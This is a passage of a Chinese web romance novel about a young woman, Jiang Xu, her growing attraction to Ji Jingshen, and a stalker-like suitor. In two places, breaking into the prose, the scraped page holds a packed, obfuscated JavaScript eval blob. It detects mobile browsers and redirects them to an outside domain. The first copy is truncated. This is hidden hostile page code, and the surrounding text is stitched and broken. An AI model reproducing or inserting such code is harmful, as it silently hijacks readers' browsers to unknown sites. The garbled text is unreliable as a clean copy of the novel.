挑食,葱花香菜不吃,内脏不吃。却也口味猎奇,一盘子的椒盐蚱蜢和蝉蛹,也不知道是进了她的肚子,还是照片中对面女生的肚子。 喜欢明艳的长裙,对品牌追求并不大,可以穿着几千万的高定盛装出席活动,也可以穿着九块九包邮的T恤和她的好友吃着路边摊。 至于平时放松时,大多都在各种会所玩乐…… 滑动的手指微顿,季惊深的目光定格在三个月前的一张照片上。 姜许懒洋洋地靠在会所的黑色沙发上,一手挑着男人的下巴,一手握着酒杯喂进男人唇齿间。 光线太暗,男人只露出了半张脸。 不巧,他见过。 LS会所里,那个长相干净的男人。 姜许是被电话声吵醒的,迷迷糊糊地伸手摸过,触感有些奇怪。 西装的面料,底下似乎是肌肉,此刻微微紧绷着,有些硬。 她懵了一瞬,入眼就是她的手大咧咧地搭在男人的腿上,不过咫尺的距离,微微隆起的山丘。她倒吸了一口凉气,抬眼便对上季惊深讳莫如深的黑眸。 手猛地缩回,耳根在瞬间发烫。 “抱歉……我睡懵了。” “嗯。” 冷淡的回应,细听之下声音还有几分哑。 姜许强迫自己冷静下来,翻身在另一侧找到了手机,很快地接起。 “姜许姐呜呜呜呜呜!” 季惊扬的哀嚎声刺穿耳膜,她赶紧把手机拿远了一些:“干嚎有什么意思,来,我们开视频,我截个图,发朋友圈乐呵乐呵。” 季惊扬嘿嘿一笑:“姜许姐,你生气了?” “我有什么好生气的,摔断腿的又不是我。不是你说的,赛车多安全啊,顶多就是好胜心上来了,眼一睁一闭,去跟我爸妈问个好。” 季惊扬越听越心虚。 去年他就出过一次车祸,那时候信誓旦旦地保证不开斗气车来着,结果这次又没忍住。 “下次不敢了,真的,我保证。” 姜许懒得听他的保证,这些年的保证书写了不下十封,没一次做到的。 “诶,你别不说话啊姜许姐。”季惊扬小声地戳了戳手机:“下午怎么样了,那陈越然在面对我哥的帅脸之后,是不是自行惭愧决定放弃对你的追求?” ……哪壶不开提哪壶。 姜许这会手都还是红温的,黏糊潮湿的汗水糊着手机壳。 她忍不住看了眼季惊深,病房很安静,他稍稍垂着眼,平板上的光折射在他脸上,显得温和了几分。 “回头再和你说。” 她匆忙挂断电话,看了眼头顶的点滴,刚想要去按铃,护士已经推门进来。 时间把握得刚刚好。 手背按压好了棉签,季惊深才从平板中移开视线。她的脸还染着余温,头发稍显凌乱,红唇纠结地抿着,眼神往他这里瞟了一眼,对视的瞬间,又猛地收了回去。 如娇似嗔。 他扣住平板,喉结滚了滚:“先去吃点东西?” “……不了,我回家点份外卖就行。” 其实姜许没什么胃口,也不知道是不是打点滴的后遗症,这会嘴里发苦得很。 季惊深也不多强求,点了点头:“走吧,送你回家。” 从医院回到家,已经是九点多。姜许在医院里睡了一觉,精神分外的好,两把游戏打完,才听到大门传来钥匙转动的声音。 江小满打开门时,她手里提着一份吃食,嘴里嘟囔着:“都让你少喝酒了,再这样我真生气了。” 她也就加班了两个月没管着姜许,又把自己折腾成这样。每天在群里盯着还不够,长了两条腿到处乱跑! “信不信我回头就开了我们老板,整天在家盯着你!” “你舍得?”姜许才不怕。虽然江小满每天都在骂她的傻逼老板,但是这份工作是她真心喜欢的,坚持了那么多年,好不容易有了点起色,哪可能这个时候放弃。 江小满更气了:“我更舍不得你生病!” “错了错了。”姜许态度良好地道歉,接过吃食,上面的包装袋明晃晃写着“小南楼”三个字:“你特地买的?” “不是啊,我刚在门口恰好遇到,送错对门了,听到你的名字我顺手拿进来,不是你点的?”江小满将外套脱下。 姜许:“还真不是……” 江小满又纳闷了:“那……” “可能是季惊深。”姜许也不确定,只是,感觉是他。 江小满更纳闷了:“季惊扬也没说他哥是个这么热心肠的人啊,怎么,对你一见钟情了?” “可能吗?”姜许扫她一眼。还看上她呢,第一次见面就看到她在“甩”小男生,后来她和陈越然的事情又闹得沸沸扬扬,今天她还行事作风大胆地“调戏”季惊深,他在心里没给自己打个负分就算是教养极好了。 不过,她倒是听说逸安最近要和锐安合作。季惊深刚回国,就算再不了解圈子里的弯弯绕绕,也应该知道她和姜祁州的关系。 “反正陈越然那边最近应该是不会再烦你了。不过说实在的,许许,他真的会放过你吗?” 话一出,两人同时沉默了。 陈越然和姜许认识多年,中学那会就跟个小霸王似的,旁的男生多看一眼就得被他惦记上。高考毕业后,姜许谈了场恋爱。对方是她们的班长,长相不错,性子也温和。江小满做过几次电灯泡,印象中那位班长对姜许有求必应,乐得把她当成小祖宗供着。 后来她去乡下舅舅家帮忙,再回来时,得知那位出生于钢琴世家的班长被陈越然废了手。而她也是第二次看到那么失控的姜许,歪打的方向盘从陈越然身边擦过。 十八岁的陈越然比这会还疯,躲都不躲,等到姜许猛踩了刹车后,才冲她笑:“姜许,你撞死我也挺好。反正我活着,你只能跟我在一起。这辈子,你都别想甩掉我。” 后来事情闹大,陈家把人给送走了,才得了几年清闲。可这位,还是回来了。行事作风也不减当年,反倒是愈发的膈应人了。 “我不乐意他还能强迫我不成?我那大伯伯母指望不上,可不是还有姜祁州?大不了把我逼急了,真撞死拉倒。”姜许故作轻松,实际心里也没底。 嫁是不可能逼着她嫁的,可甩也甩不开的。 真烦! 次日,季安棠匆匆赶到医院时,季惊扬跟个没事人一样,玩着平板游戏,吃着零食小吃。 她踩着高跟进去,被惊扰的季惊扬从平板中抬起头,还以为是姜许,上扬的嘴角又扯了下来:“堂姐。” 季安棠把他的表情变化收入眼底,脸上依旧挂着温淡的笑容:“腿怎么样了?” 季惊扬:“也没什么大事,多谢堂姐关心。” 季安棠抿了抿唇,又闲聊了几句,侧面想要劝劝他以后不要那么冲动,可得到的回答都只是敷衍和冷漠。 她平时在公司里都是被恭敬捧着的,这会碰壁多了,脾气也忍不住上来:“惊扬,我是在关心你。别以为我不知道你昨天是为了什么斗气!” 季惊扬虽然年纪小,但这两年冲动的性子已经收敛了不少。昨天赛场上原本说好的只是和俱乐部的几个朋友打打友谊赛,奈何厉家的小少爷横插一脚。 先前就因为自家长姐在姜许那里吃瘪的缘故,所以嘴上也是个没把的,骂着姜许的话一句接着一句。季惊扬原本是忍着的,在听到厉三少爷说姜许放荡之后,提出了加赛,为的只是给姜许争一个她压根就不知道的道歉。 季惊扬有几分心虚,错开了眼:“那也跟你没关系。” “你就这么在意她?”季安棠蹙眉。 其实那天她说的话只是在试探,他们之间且不说隔了七岁的年纪差,再者,她心里也是看不起姜许的。 性子不好,工作不入流,全靠着自己的那位堂哥。要说唯一可取的,也就是那张脸了。可偏偏就是那张脸,一眼就让她觉得,这辈子她都不可能是安分守己的主。 “堂姐,我最后说一次,我和姜许之间的事,和你没关系。”季惊扬烦躁地背过身去:“麻烦堂姐出去,我要休息了。” 他郁闷地闭着眼,努力酝酿压根就没有的睡意。以前总觉得很羡慕他哥,能被家里人无微不至的关心着,不像他,压根就没人理会。可最近两年,季安棠对他上心之后,他才懂这种压抑的感觉。 季家人的关心是病态的,他们在意你的方式是监视你,看着你的一举一动,让 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江小满接了话:“也没什么,就是在门口主动加了许许的微信,还说她以后会帮忙的,并且还说了一堆什么奇奇怪怪的话。” 季惊扬瞬间怏怏不乐下去,自动脑补了一下季安棠说这话的样子,估计大概意思就是,她不仅盯着自己,也会盯着姜许姐。 “我哥可真苦啊……”他由衷地感慨一句,又想到了什么,看向了姜许。 姜许:“……?” —— 这一场合作季惊深谈得分外顺利。 方浔和俞明礼都是识趣的人,自知项目本应该是逸安一家掌控。只不过是季惊深初回北安,对于北安这边的圈子不甚熟悉,以此来打开合作的一个口子。要论起来,他们占了大便宜,自然不会贪婪的得寸进尺。 合同签署完成后,已经是午后。包厢里的窗帘敞开着,位置正好,外头的暖阳能落进来。暖色落在他的手腕边,穿戴整齐的西装袖口是一双极其好看的手。骨节匀称有力,如青竹一般。 话题早就跑到了闲聊上,俞明礼是个话多的,几杯酒下肚便随性起来:“季总对钓鱼有兴趣吗?” “接触过一二,平时没什么时间。” 季惊深极少把时间花在这种毫无性价比的事情上。他在国外的十年,除了课业之外,还要开始接管逸安的国外市场。光是完成这些事情,就已经有些够呛,而对于那种花一下午,只为了几条鱼的事情,对他来说,是一种极大的奢侈。 “也,也是。”俞明礼讪笑道,举着一杯酒,“我还想着要是季总有兴趣,回头我们几个一起。我知道一个地方,特适合打打高尔夫球,还能钓钓鱼。” 季惊深抬眸,缓缓地往自己杯中倒满了酒,和俞明礼平齐碰了一下,语气清冷而温和:“若有时间,倒是可以。” 这句话给足了俞明礼面子,他嘴角的笑意更深了,又拉着方浔道:“回头把姜祁州那小子也喊过来,这都多久没见了,上次见他还是他闹分手那会……” 话题又扯远了,季惊深垂眉安静地听着。直到手机振动—— 【季先生,昨晚医院的费用是多少,我转给您。】 客气,疏离。 季惊深扫了眼跟前和昨天无二的包厢装潢,在脑海里转悠了一晚上的画面再次涌入。骄纵调笑的姜许抱住他的手臂,散漫娴熟地把玩着他的手。 ——“宝宝。” ——“我的心肝宝贝。” 黏糊,肉麻得让他极其的不适应。他很清楚,这样的称呼在她以往的做戏中,不是第一次出现。只是一个对于她来说,稀疏平常的称呼。他是不喜欢的,可不得不承认,这也比生硬的“季先生”要好上不少。 “这钓鱼啊,就是要打窝。抛鱼饵知道吧?那你不能眼巴巴地凑上去干等着啊,这鱼饵不下,不把鱼勾上来,光你在岸边干着急有什么用?”俞明礼的声音还在继续。 季惊深收回了思绪,敲下几个字。 【不用,举手之劳。】 昨天的人情,就是一个很好的鱼饵。可很显然,对于“还钱”这条鱼,季惊深并不满意。 他想要的—— 【那……季先生有时间的话,我能请你吃个饭吗?】 这条鱼,尚可。 季惊深眉梢很轻地扬起,面不改色地回复。 【好。】 12.第 12 章 在收到那个“好”字时,姜许已经有些后悔了。 这人情是欠了的,本想着还钱再送个礼,偏偏第一想法被拒了。当时她也没怎么想,按照着十几年的惯性思维回了季惊深。 “我就说吧,我哥肯定不收你的钱。”季惊扬啃着苹果,光是从姜许的反应中就猜到了:“要么你就先欠着这个人情,要么就当做无事发生,反正我哥也不会在乎这种小事的。” 他刚才也是想到了季惊深,所以顺嘴提了一句。可姜许却无比认真起来,那行不到三十个字的消息,硬是逐字措辞了半小时。生怕有哪个字会显得她图谋不轨,居心不良。 “你哥的人情我可不敢欠着。”姜许扫了他一眼:“请他吃个饭,也算是还了。” 季惊扬坐直了身体:“我哥同意了?” 得到肯定回答后,他又摸了摸自己的脑袋,轻叹了一声:“我哥他这人……连关心和在意都这么内敛。” 昨天的车祸来得太突然,好在车子经过改装,安全系数不错,短暂的昏迷之后,再醒来是在被医生包围着检查身体。 季惊扬从一众白衣天使中往外瞧,看到的就是站在门口的季惊深。一丝不苟的西装,眼里还有未褪去的冷然和压迫感。周围消毒水的气味太重了,他向来不喜欢,眉心微微蹙着,却也没有离开半步。 “醒了?” 清清冷冷的嗓音拉回了季惊扬的思绪,他有一瞬间想要哭,又生生忍住了。 车祸并不严重,就是腿骨折了。可昏迷的时候,他梦到自己死了,他的朋友还有他哥看着他的尸体,旁边还有个一边哭一边骂他的姜许姐和小满姐…… 我靠靠靠! 季惊扬拍开医生,忙问:“哥,几点了?” 季惊深垂眉看了眼手机,准确地报出一个时间:“两点零三分。” 那还来得及! 不对,来得及个屁,他都摔成这样了。 他急得不行,烦躁地抓耳挠腮了两分钟后,季惊扬咬着牙开口:“哥,我手机估计落车上了。你帮我问问方厌哥,他能不能救个场。” 他大概的把姜许的情况说了一遍,目光祈求。 季惊深的神色有几分晦涩难懂,静默两秒后,语气很淡:“方厌最近忙着自己的事,抽不出空。更何况,还是临时的约。” 也是。方厌不是空闲的人,这会临时找个人—— “哥,你下午的事都推了是吧?” 季惊深稍顿:“嗯。” “那,你替我去?” 季惊深看着他,声音听不出情绪:“她应该不会希望我去。” 哪有什么希望不希望的,他哥这是变相拒绝呢! “不会!”季惊扬顺着季惊深的“拒绝话术”说下去,力争要堵得他无法拒绝:“她可喜欢你这张脸了,还说要不是你是逸安的大公子,早就追你了。你要是去帮忙,她一百个乐意。” “是吗?”季惊深眉眼的情绪浓了几分:“有条件。” “什么?” “禁赛半年。” ——所以,他是牺牲了自己,才换得他哥来帮忙。说到底,他哥对姜许姐客气礼貌,多少有了自己这一层的关系。 手机又弹出来一条消息。 江小满离得近,念出了上面的内容:“金象路的米其林餐厅,今晚六点。” “今晚就吃?”她摸了摸下巴,若有所思:“怎么感觉有点急迫。” “这叫早吃早了,也省得我心里老想着这件事。”姜许对于这个时间点很是满意,扫了眼完全指望不上的季惊扬后,定格在江小满身上。 “别!”江小满提前预判到姜许的心思,脑袋摇得跟拨浪鼓一样:“我社恐,和他又不熟,别拉上我。再说了加班两个月就调休一天,大半天都给你们了,下午我要一个人在家好好躺着。” “……” 距离六点还有几分钟,姜许匆匆赶到餐厅。 外面又下了雨,停车场在室外,小跑着进来,肩头和头发还是淋了一些雨。 季惊深选的餐厅是逸安名下的一家,入眼便是略显辉煌的金碧色装潢,大多数都是短桌,位置上搁置了砂面的屏风。她刚刚走近,便有人迎了上来。 “姜小姐?” 姜许点头,跟在男人的身后往包厢的方向走去—— “哟,这不是我那许久没见的妹妹嘛。” 靠窗的位置,姜延河搂着新交往的小女友,语气放肆又轻佻:“这又是约了谁?年纪轻轻的,也不怕身体不行。” 姜许挑眉看去,穿着西装的姜延河挑衅地看着她。那张脸继承了张知雅的破烂基因,跟她和姜祁州比起来,简直跟基因突变一样。 “还是担心担心自己吧,一脸的肾虚样,整天怪人家中医也不是个办法,谁让你……不中用。” 姜延河是个早产儿,本来身体就虚亏,高中开始放肆,几乎 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怎么每一次在他面前,她都是这幅不甚讨人喜欢的模样。 盛气凌人,霸道嚣张,半点温柔可人讨喜活泼样都没有。 包厢里开着中央空调,温度正好。窗户拉开了一半,外面雨滴倾斜着,打在透明的玻璃窗上。 菜单递到姜许的跟前,她兴致怏怏地扫了一眼:“我不挑食,季先生点自己喜欢的就行。” 不挑食? 季惊深回忆起在朋友圈看到的内容。 眉眼稍暖。 点了几道符合她口味的菜,季惊深这才合上菜单,低声和服务生说了一句。后者点头,恭敬离开。 包厢里的气氛安静得有些压抑。姜许没找话题,季惊深也不是—— “那位是民江的总经理?” 姜许不愿意承认,却也不得不点头:“嗯。”她抿唇,神使鬼差地说了句:“他先招惹我的。” “……” 只一秒,季惊深便在她脸上看到了懊恼和窘迫的情绪。 这话说出来像是告状一样。说实在的,姜许告状的次数不少,可那也是对着姜祁州。如今换成季惊深,姜许只觉得自己应该是被雨淋坏了脑子。 “我的意思是——” “他是怎么招惹姜小姐的?”季惊深清清冷冷的嗓音在此刻沾染上了几分温度:“不介意的话,可以和我说说。” 13.第 13 章 这话像是哄着小孩的家长一样。 这个身份认知让姜许眼前都有些恍惚。 虽然她和季惊扬关系很好,可她和季惊深才是一个年纪的,总不能把她和季惊扬一视同仁地当成晚辈来看待吧? 可要是不说上些什么,又会显得她刚才在外的趾高气昂,像极了没教养又霸道蛮横的作态。 脑海里想了无数她和姜延河之间的恩怨,卡壳了许久,才闷出一句—— “他拿陈越然的事来阴阳我。” 其实不止。 她看不爽姜延河这个私生子抢走姜祁州的位置,姜延河也看不爽她以前仗着父母健在对他百般看不起。 高中剪坏她衣柜里所有的裙子,大学在论坛用几张照片造她黄谣。后来工作之后,每一次因为和艺人矛盾被黑上热搜,都有他在背后的煽风点火。以至于现在,姜许看到姜延河,都恨不得给对方两耳光。 “那下次,姜小姐应该穿再高一些的鞋子。今天这双,差了点意思。”季惊深的目光从桌上缓缓移到姜许的脚上。 平底的圆头小羊皮,脚踝露出了一小节,白嫩而又纤细。她实在是太瘦了些,哪怕是用尽所有力气,也不过是软绵绵的没有几分力道。 那一脚,算不上什么惩罚。 反倒像是…… 只一眼,季惊深又礼貌性地收回视线,对上姜许的目光时,圆润清亮的眼底有几分讶异:“怎么了?” “没……” 有些意外。她还以为季惊深这样的性子,会劝说她收敛些,怎么—— “是对方有错在先,姜小姐不用那么温柔。” 姜许沉默了。 她都没想到有一天“温柔”这个词能在自己身上。 很神奇。 这男人到底懂不懂,刚才在外面的那些举动,已经够他家老爷子拿教养和性子说她几百回了,结果季惊深还是这幅云淡风轻,甚至有点助纣为虐的意思。 可,这话却很合她心意。 受气了当场就得出,不能内耗,内耗伤身! 门被服务生推开。 他的手中拿着一条干净的毛巾和吹风筒,季惊深离得近,顺手接过:“见你淋了雨,担心你会着凉。” 姜许不想折腾:“再吹会空调就干了。” 也只是几步路的距离,淋是淋了一点,但她不至于这么娇气。 见她不为所动,季惊深的语气重了几分:“最近天气温差大,姜小姐又在恢复期。要是嫌麻烦的话,我可以代劳。” “……不用了。” 她哪敢让季惊深伺候自己。 姜许接过毛巾,胡乱地擦拭了两下。余光抬起,瞥见季惊深的黑眸淡漠地落在她的身上。 认命地起身,插上电,随着“呼呼”的声音,两分钟后,她的头发已经彻底干透了,略有些蓬松地垂在两侧。 那道灼人的目光温浅了些许。 姜许重新坐回位置上,心里腹诽了好几句,开口却又是礼貌的客套话:“本来昨天就应该跟季先生好好道谢的,结果身体不争气。不管怎么样,昨天的事,真的很感谢你。” 至少这都一天了,陈越然没再来烦她。只不过听俞晓染提起,他的朋友圈更新了一晚上,足足五十二条,字里行间说的都是他被辜负的委屈。 季惊深静默须臾,道:“真要感谢的话,不如姜小姐帮我一个忙。“ “什么?” 手边茶水温度正好,男人的外套挂在一旁,里面只穿了件单薄的黑色衬衫。腕口出的袖子随着男人的动作往上拢了些许,劲骨过分白皙,却也锐利。 季惊深握着壶把,给姜许倒了小半杯。热温升起白雾,今年气候天气不错,新收的一批曼松古树清香扑鼻,入口微甜,会是她喜欢的口感。 “柒鱼不久之后由安棠掌管,她看中沈好好的性子和演技,给她拿下了逸安旗下的一个高奢品牌代言。我希望到时候的拍摄,能由姜小姐负责。” 姜许听出了深层含义。 看中沈好好的性子和演技是一回事,更重要的是这些年沈好好的路人缘居高不下。而即将杀青的剧将会在三个月后迅速抬上来,季惊深刚刚回国,选中沈好好无论是他还是季安棠的意思,都是在赌沈好好能否通过这部剧逆风翻盘,从而给逸安带来品牌效益。 “为什么会想着选择我?”姜许并不觉得柒鱼找不到更合适的人选。 这一点,季惊深也很清楚。他轻抿了一口茶,道:“你更了解沈好好,况且,我也想卖姜总一个人情。” 合情,合理。 “价格姜小姐可以随便开,拍摄时间,柒鱼也会尽可能的协调。” 极大的诱.惑。 死鸭子姜祁州压根就放不下人家,而姜许也实在是看不下去最近沈好好的拍摄风格。半点都不适合她。 “好。”姜许果断答应。 季惊深:“后续合同,我会尽快让张彦跟进。” 男人的眉梢勾了一丝极浅的暖意,使得整张过分冷硬的脸都柔和起来。姜许一瞬不瞬地盯着,半晌才收回目光。 喜欢……他那张脸。 很喜欢。 关于他这个人,她也有点喜欢。 “怎么了?”季惊深没放过姜许眼中的怅然。 姜许欲言又止。 大概是今天的气氛不错,她轻轻眨了眨眼,调着几分笑,眼睛却又很认真:“季先生长得很好看。” 外头的雨不知道什么时候停了。男人眼中的黑眸如墨色晕染开来,讳莫如深。 “姜小姐要是喜欢,可以经常欣赏。毕竟欣赏好看的人,对于女性心情和寿命都有诸多益处,你的身体,的确需要这样的调理。” “?” 一场外貌的赞美怎么变成了昨天主任医生对她身体的医学探讨。 不管怎么说,这天是聊死了。 好在点的菜很快上来,姜许都做好了随便吃两口就敷衍喝茶的打算,却没想到上的都很合她的口味,甚至还贴心地特地避开了那些她不喜欢的配菜。 她看向对面的季惊深,男人背对着她站在落地窗旁接着电话,身材劲瘦却不羸弱。 “在吃饭。” “时间不确定,太晚的话,您先休息。” 姜许只吃了个七八分饱就放下了筷子,恰好季惊深挂断电话。 “我吃好了。” 季惊深扫了一眼桌面,两盘动了一半的菜都是甜口。 和她朋友圈里说的一样,嗜甜。 “我送你。” “我开车来的。”姜许晃了晃手中的钥匙,看着男人拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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天条:【咋了咋了,饭把你吃了还是季惊深把你吃了?】 【……】 好看哥:【不能吧,我哥知道我们的关系,我这亲堂弟的面子摆在这里,对姜许姐不说温柔至少也是客客气气的。】 【……】 好看姐:【艾特季惊扬,你说,我和你成为一家人的可能性有多少?】 好看哥:【?】 好看哥:【??】 好看哥:【姐,姜许姐,姜许姐姐,姜许公主!我真只把你当我姐,你别这样。虽然我知道我好看又帅气还年轻……】 看出了什么的江小满:【有没有可能,她中意的对象,不是你。】 好看哥:【那还有谁?我哥?不可能,我比我哥帅,还年轻,主要是我年轻,知道吧!】 好看姐:【滚远点。】 好看哥:【诶,好嘞。】 姜许抬头,看着后视镜中的自己。耳根是红的,一双眼如秋波盈盈一般。 沉默几秒,她划开手机,抖音的群里有不少江小满发来的腹肌帅哥视频。 点开一个。 面无表情地刷过。 青春男大。 刷过。 索然无味。 14.第 14 章 回到季家老宅,已经是九点多。 客厅明亮的圆形吊顶灯照亮了整个室内,季老爷子静坐在沙发上,苍老的脸上带着几分威严。却又在看到季惊深后,柔和了不少。 “回来了?公司的事,也用不着一个人忙活。安棠能帮你,身体得放在第一位。” 季惊深温浅地应下,目光一扫,茶几上摆着不少大家闺秀的照片。这意思,不言而喻。 “惊深,你年纪也不小了,这次既然回到北安 ,结婚的事,也该提上日程了。”季老爷子将照片推到季惊深面前:“这些姑娘都是圈子里性子温良的,你瞧瞧,有没有喜欢的。” “没有。”他回答得没有丝毫犹疑。 季老爷子忍不住嗔怪骂了两句:“瞧都没瞧呢,这温家的姑娘,二十四岁,模样温婉可人,回头你们一起吃个饭……” “老爷子。”季惊深温声打断他的话:“我对她们,不感兴趣。” “不合眼缘?那回头我再找找……” “没有这个必要。”季惊深说:“您也知道,我在国外待的时间不短,接受的思想教育和国内并不相同。” 所以,别说姜许是逢场作戏,就算是动真格的,他也不在乎。他要的,在乎的,是现在和以后。 可话到了季老爷子耳中,这意思就变了。 对姑娘不感兴趣…… 国外的那些思想,他不懂,却也听安喻那丫头提起过,什么男人和男人…… 一张老脸瞬间气得涨红,季老爷子拄着拐杖,骂道:“孩子的事怎么办,你,你这怎么要孩子?” 季惊深依旧平静地回道:“我尊重对方的意愿,孩子对我而言,并不是必要的。” 还来真的? 季老爷子捂着心脏,差点一口气没喘上来:“惊深,你可别糊涂!” “老爷子,时间不早了,您该休息了。” 显然是没得聊的意思。 可季老爷子这会哪里睡得着。回到房间后,又将这些年整理上来的关于季惊深的衣食住行汇报仔细地看了一遍。 的确是对任何女人不感兴趣,甚至于,还有几次,赤.裸着上半身出现在他那些个华人舍友面前。 “老钟。”季老爷子招了招手,老管家钟伯赶忙走了过来:“老爷子?” “下个月找个由头,办一场宴会,圈子里还没成婚的姑娘,都一并请过来。” “是,老爷子。” 从老宅出来,车内寂静,平稳地往云溪别院开着。 亮屏的手机在车内有些刺眼,季惊深将亮度调到最低,点开红色招财头像。 打下一行字。 【到家了吗?】 那头隔了几分钟才回:【到了。】 【好,早点休息。】 【季先生也是。】 后面跟着一个猫咪的晚安表情包。 季惊深定格看了几秒,按住说话区域,薄唇轻启:“嗯,晚安。” 电话打了进来,放假了大半天的胡泽这会精气神很好:“季总,姜经理要求调取餐厅的监控,已经和前台吵了很久了,您看……?” “赶出去。” 胡泽心领神会。原本他还想着毕竟是姜许的堂哥,这面子要过得去。既然季总发话了那他也不用为难。 “还有就是,今晚的事,怕是会有议论。”胡泽说,游移不定:“季,季总,既然您对那位有意,这些流言蜚语还要处理吗?” 要他看,这趁着流言蜚语绑在一起,也不是不行。 季惊深:“她不会喜欢被非议,都处理干净。” “明白了。” —— 四月底,天气越发地暖了。 万物都复苏了一两个月,姜许却像是还困在春眠中一样,维持着发愣的状态,一瞬不瞬地盯着天花板。 直到姜祁州拿了点心进来,搁置在茶几上:“你打算躺多久?早餐都没吃,吃点东西垫垫肚子。” “我在思考人生。”姜许丢了个小眼神过去:“姜祁州,我最近不知道为什么,总是感觉到一阵空虚。” 看视频帅哥都不起劲了,甚至还重操旧业,带着何月他们去拍摄素人。不怎么赚钱,主打的就是一个闲来无事做找找事情打发时间。 “年纪到了。” “什么意思?” 姜祁州翻开一份文件,不疾不徐地回她:“意思就是,你需要一段恋爱。或者,养一些宠物陪着你。不过我更建议你谈恋爱,毕竟你养什么都活不成。” 姜许丢了个白眼过去:“江小满和季惊扬不就是我养大的?现在活得好好的。” “所以你只适合养人。回头我让卢博宇给你找个家世清白的男大养着玩玩。” “姜祁州,你这思想很不对。”姜许起了身,拿了块小点心吃了一口,义正词严地谴责他。 姜祁州从文件中抬头,扫了她一眼,黑眸略沉:“这么拒绝,怎么,有心仪的对象了?” “有没有我都拒绝,我只是新鲜感来得快去得快,又不是真的把感情当玩玩而已。” 她的三段恋爱,虽然都不长,可也是认真相处的,从来没把对方当做一个排解寂寞的工具。 咬着点心的动作一顿,姜许后知后觉地看向某个被当成玩玩而已的男人,噎了噎:“那什么——” “房子收拾得差不多了,你看看时间,这两天就能搬进去。” “好。”姜许点头,又问:“下周我打算在家邀请朋友暖房,你来吗?” “不去,有事。” “吃顿饭都不行?姜祁州,我俩即将成为上下楼的邻居!” 姜祁州新给她安排的大平层就在他楼下,离锐安和市区都近,偶尔她起得早还能蹭车。 姜祁州看她:“室友都做了七八年了,和你做邻居是什么很新奇的事吗?” “……” “或者,新兴那边的合作,你打算和我一起去,我也能考虑抽出时间陪你吃顿饭。” 新兴陈家是医药公司,陈老爷子是老来得子,所以才会纵得陈越然无法无法。老爷子最近几年身体大不如从前,只得把这个不争气的儿子给喊回来。最近一段时间,陈越然被迫跟在老爷子身边,忙得脚不沾地。 即便如此,姜许的手机上依旧每天收到十来条问她对季惊深腻了没有的消息问候。以及——星好那边每天雷打不动的一束99朵玫瑰花。 只要陈越然一日没放弃,就如同一把刀高挂头顶之上,欲坠不坠的,让人心烦。 姜许又郁闷了,没了胃口后再次缩进沙发里,刷着手机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885338|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一分钟前随手发的一条:【好无聊,瘫了一早上了。】 有人点赞了,她点开进去。 季惊深赞了你的朋友圈。 室内又闷热了起来。 点开那个沉闷的头像,上一次聊天记录停留在那个细密的雨夜。 男人发来的语音—— “晚安。” 酥麻低沉的语调,从手机上播放出来,和平时听到的嗓音又略有些不同。 扰得她一晚上没怎么睡好。 工作群的消息振动不停。 姜许扫了一眼,一个鲤鱼打挺起了身。 姜祁州:“去哪?” “何月他们喊我,下楼一趟。” 走进三楼姜祁州给他们安排的办公室,何月他们还在处理之前的照片,看到姜许,赶忙道:“姜许姐,柒渔那边好好姐定了大概时间,七号和八号,时间有点赶,得飞往江海拍摄外景。” 内景一天,外景一天。赶倒是没什么,只是恰好八号是姜祁州的生日,也不知道赶不赶得回来。 “可以,回复那边吧,这几天再确定一下拍摄风格。” 唐渺渺:“好。秦知瑶那边在早上发了微博,反响很不错。她的新剧下个月开机,前几天剧方联系我们星好,说是希望开机之前合作拍摄,跟着造势。” 姜许:“男主是谁?” 唐渺渺顿了顿,有些无奈:“原来定的是谢耀,最近爆出绯闻瓜,剧组那边也在临时找人,目前还不确定。” 这事倒是常有,开拍前出事,换演员各种,不到最后一天都定不下来。 一个电话打进来。俞晓染的。 那厮吃了什么昏头了,还会给她打电话。 姜许回道:“合一下我们的档期,后续渺渺你跟进,觉得可以就定下。” 她走到走廊处,接起电话。 那头的声音震耳欲聋:“姜许,老娘我回北安了!” “哦。” “你什么态度啊?”俞晓染骂骂咧咧的:“死女人,下楼,我带你去潇洒。” 姜许无语:“我们两的关系什么时候好到这种地步了?” 话是这么说着,腿也很诚实地往楼下走去。 一辆骚包的大红色玛莎拉蒂停在锐安楼下,俞晓染抱着一束满天星,朝着姜许笑得很欠扁:“听说我不在的日子里,你都无聊到发霉了?” 姜许径直走过去拉开副驾驶,看都不看她一眼:“去哪?” “花!” 俞晓染把满天星塞进姜许怀里:“我特地买的!” 姜许沉默地看了两眼,语气嫌弃:“俞晓染,我大街上随便找个直男都不会买这种花。” 还满天星,土不拉几的。 “你懂什么,这花的寓意就是你像是漫天的星星一样,我去哪你都在,是我的舔狗!” “……我俩换个位置,睡觉的人不适合开车。” 俞晓染心情极好,也不和她计较:“走走走,我还约了江小满。听说你们都快处成网友了,没关系,你们之间的友谊,我来维护!” “那还真是谢谢您了。” 姜许敷衍地回她:“所以,我们到底去哪。” “LS!”俞晓染戴上墨镜,做了个出发的手势:“找男模,耍乐子!” 16-20 第16章 第16章【VIP】 姜许的手都不自觉地一紧。 一起什么…… 她这歌舞升平的,不方便且不说。这包厢里也不止她一个人,怎么就单单问她。 心里不知道那股莫名的心虚由何而来,姜许踩了一脚俞晓染,用眼神示意。 俞晓染正掐着呢,回头看她一眼,丝毫没领会到意思:“干嘛啊?你问我介不介意啊?我不介意啊,人多热闹。” 姜许:“……” 她抬头,握着酒杯的手紧了两分,望向季惊深,矜矜地笑道:“不介意。” 几人落座下来,俞明礼直接坐在了俞晓染身侧,季惊深三人则是坐在了对面的沙发上。 原本热舞的两人很快停了下来,很有眼力见地上了新的杯子,又在俞晓染的点头示意下,将她年前存的酒拿了进来。 